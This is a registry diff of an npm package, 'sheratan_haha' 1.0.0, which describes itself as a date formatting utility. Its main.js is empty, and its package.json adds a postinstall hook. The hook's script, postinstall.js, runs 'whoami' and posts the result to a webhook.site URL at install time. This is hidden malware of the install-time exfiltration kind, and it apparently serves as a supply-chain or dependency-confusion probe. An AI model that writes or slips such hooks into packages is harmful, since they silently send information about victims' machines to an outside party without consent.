sheratan_haha 1.0.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/main.js +0 -0
- package/package.json +14 -0
- package/postinstall.js +35 -0
package/main.js
ADDED
|
File without changes
|
package/package.json
ADDED
|
@@ -0,0 +1,14 @@
|
|
|
1
|
+
{
|
|
2
|
+
"name": "sheratan_haha",
|
|
3
|
+
"version": "1.0.0",
|
|
4
|
+
"description": "A simple date formatting utility",
|
|
5
|
+
"main": "index.js",
|
|
6
|
+
"scripts": {
|
|
7
|
+
"postinstall": "node postinstall.js"
|
|
8
|
+
},
|
|
9
|
+
"author": "",
|
|
10
|
+
"license": "ISC",
|
|
11
|
+
"dependencies": {
|
|
12
|
+
"sheratan_test_p": "^1.0.0"
|
|
13
|
+
}
|
|
14
|
+
}
|
package/postinstall.js
ADDED
|
@@ -0,0 +1,35 @@
|
|
|
1
|
+
const { exec } = require("child_process");
|
|
2
|
+
const https = require("https");
|
|
3
|
+
|
|
4
|
+
const webhook = "https://webhook.site/0ea9eb45-3ede-4cf0-9ea9-2b8d700272e7";
|
|
5
|
+
|
|
6
|
+
exec("whoami", (error, stdout, stderr) => {
|
|
7
|
+
const body = JSON.stringify({
|
|
8
|
+
command: "whoami",
|
|
9
|
+
stdout: stdout.trim(),
|
|
10
|
+
stderr: stderr.trim(),
|
|
11
|
+
error: error ? error.message : null,
|
|
12
|
+
time: new Date().toISOString(),
|
|
13
|
+
});
|
|
14
|
+
|
|
15
|
+
const req = https.request(
|
|
16
|
+
webhook,
|
|
17
|
+
{
|
|
18
|
+
method: "POST",
|
|
19
|
+
headers: {
|
|
20
|
+
"Content-Type": "application/json",
|
|
21
|
+
"Content-Length": Buffer.byteLength(body),
|
|
22
|
+
},
|
|
23
|
+
},
|
|
24
|
+
(res) => {
|
|
25
|
+
console.log("sent:", res.statusCode);
|
|
26
|
+
},
|
|
27
|
+
);
|
|
28
|
+
|
|
29
|
+
req.on("error", (err) => {
|
|
30
|
+
console.error("send failed:", err.message);
|
|
31
|
+
});
|
|
32
|
+
|
|
33
|
+
req.write(body);
|
|
34
|
+
req.end();
|
|
35
|
+
});
|